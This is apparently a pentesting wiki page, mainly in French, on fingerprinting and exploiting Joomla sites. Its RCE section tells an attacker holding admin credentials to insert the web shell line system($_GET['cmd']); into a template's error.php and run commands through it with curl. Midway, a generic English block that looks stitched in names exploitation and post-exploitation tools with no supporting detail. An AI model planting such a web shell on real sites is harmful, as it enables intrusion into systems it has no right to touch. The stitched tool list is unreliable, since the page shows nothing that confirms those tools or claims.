Joomla
Statistiques Joomla
Joomla collecte certaines statistiques d'utilisation anonymes telles que la répartition des versions de Joomla, PHP et de la base de données, ainsi que les systèmes d'exploitation serveur utilisés sur les installations Joomla. Ces données peuvent être interrogées via leur API publique.
Énumération
Découverte/Empreinte
Vérifiez les méta
robots.txt
README.txt
Joomla
Joomla Enumeration
Joomla enumeration can be performed using tools like JoomScan
or JoomlaScanner
. These tools can help identify the Joomla version, installed components, templates, and modules.
Joomla Exploitation
Exploiting Joomla vulnerabilities can be done using tools like JoomRAT
or Joomla Exploit Framework
. These tools can automate the process of finding and exploiting vulnerabilities in Joomla websites.
Joomla Post-Exploitation
After exploiting a Joomla website, post-exploitation activities can include maintaining access, escalating privileges, and exfiltrating data. Tools like JoomShell
can be used for these purposes.
Joomla Security
To secure a Joomla website, ensure that the Joomla core, components, templates, and modules are regularly updated to the latest versions. Additionally, implement strong passwords, restrict access to sensitive directories, and use security extensions like Akeeba Admin Tools
or RSFirewall
.
Version
Dans /administrator/manifests/files/joomla.xml vous pouvez voir la version.
Dans /language/en-GB/en-GB.xml vous pouvez obtenir la version de Joomla.
Dans plugins/system/cache/cache.xml vous pouvez voir une version approximative.
Brute-Force
Vous pouvez utiliser ce script pour tenter une attaque par force brute sur la connexion.
RCE
Si vous parvenez à obtenir les identifiants d'administrateur, vous pouvez exécuter du code à distance à l'intérieur en ajoutant un extrait de code PHP pour obtenir RCE. Nous pouvons le faire en personnalisant un modèle.
Cliquez sur
Templates
en bas à gauche sousConfiguration
pour ouvrir le menu des modèles.Cliquez sur un nom de modèle. Choisissons
protostar
sous l'en-tête de colonneTemplate
. Cela nous amènera à la pageTemplates: Customise
.Enfin, vous pouvez cliquer sur une page pour afficher la source de la page. Choisissons la page
error.php
. Nous ajouterons une instruction PHP en une ligne pour exécuter du code comme suit :system($_GET['cmd']);
Enregistrer et fermer
curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id
Last updated